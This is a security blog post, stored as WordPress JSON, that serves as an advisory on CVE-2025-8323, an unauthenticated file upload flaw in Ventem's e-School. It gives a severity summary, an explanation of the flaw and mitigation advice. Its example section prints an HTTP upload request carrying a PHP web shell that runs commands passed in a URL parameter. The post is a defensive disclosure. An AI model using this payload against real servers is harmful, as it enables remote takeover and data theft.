{"id":59919,"date":"2025-08-06T12:08:52","date_gmt":"2025-08-06T12:08:52","guid":{"rendered":""},"modified":"2025-09-26T14:04:58","modified_gmt":"2025-09-26T20:04:58","slug":"cve-2025-8323-arbitrary-file-upload-vulnerability-in-ventem-s-e-school","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-8323-arbitrary-file-upload-vulnerability-in-ventem-s-e-school\/","title":{"rendered":"<strong>CVE-2025-8323: Arbitrary File Upload Vulnerability in Ventem&#8217;s e-School<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The e-School from Ventem, a widely used educational software, has been found to have a significant security flaw labeled as CVE-2025-8323. This vulnerability allows unauthenticated remote attackers to upload and execute arbitrary code on the server using web shell backdoors. This not only poses a significant <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"77889\">risk to the integrity of e-School&#8217;s system<\/a> infrastructure but also to the privacy and security of the vast data it holds. Given the severity and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45346-sql-injection-vulnerability-in-bacula-web-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"68016\">potential impact of this vulnerability<\/a>, it&#8217;s vital for organizations using this software to take immediate action to mitigate risks.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-8323<br \/>\nSeverity: High (CVSS score &#8211; 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31278-memory-corruption-vulnerability-with-potential-system-compromise\/\"  data-wpil-monitor-id=\"70401\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3764773231\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Ventem e-School | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"77888\">versions prior<\/a> to the patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52808-a-critical-php-remote-file-inclusion-vulnerability-in-realtyelite\/\"  data-wpil-monitor-id=\"65911\">vulnerability originates from a lack of proper file<\/a> validation in the software. An attacker can exploit this by sending a specially crafted HTTP POST request with a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/\"  data-wpil-monitor-id=\"66043\">file to the vulnerable<\/a> endpoint. The software, failing to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40737-critical-file-path-validation-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66622\">validate the file<\/a>, saves and executes it on the server. This enables the attacker to upload a web shell backdoor, providing them with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54378-unauthorized-access-vulnerability-in-hax-cms\/\"  data-wpil-monitor-id=\"68878\">unauthorized access<\/a> and the ability to execute arbitrary commands on the server.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2393875702\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>This is a conceptual example of how the vulnerability might be exploited. In this case, the attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54693-critical-web-shell-upload-vulnerability-in-epiphyt-form-block\/\"  data-wpil-monitor-id=\"81710\">uploading a malicious PHP web shell<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_file HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=---------------------------3133338133392\n-----------------------------3133338133392\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n-----------------------------3133338133392--<\/code><\/pre>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The immediate mitigation for this vulnerability is to apply the vendor patch as soon as it&#8217;s available. Until then, organizations can use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to detect and prevent <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"80117\">potential exploit<\/a> attempts. It&#8217;s also recommended to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84103\">monitor server logs<\/a> for any suspicious activities.<br \/>\nRemember, staying vigilant and keeping your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5243-critical-security-vulnerability-in-smg-software-information-portal\/\"  data-wpil-monitor-id=\"68015\">software up-to-date are key to maintaining a secure<\/a> digital environment.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The e-School from Ventem, a widely used educational software, has been found to have a significant security flaw labeled as CVE-2025-8323. This vulnerability allows unauthenticated remote attackers to upload and execute arbitrary code on the server using web shell backdoors. This not only poses a significant risk to the integrity of e-School&#8217;s system infrastructure [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59919","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59919","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59919"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59919\/revisions"}],"predecessor-version":[{"id":76887,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59919\/revisions\/76887"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59919"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59919"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59919"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59919"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59919"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59919"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59919"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59919"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59919"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}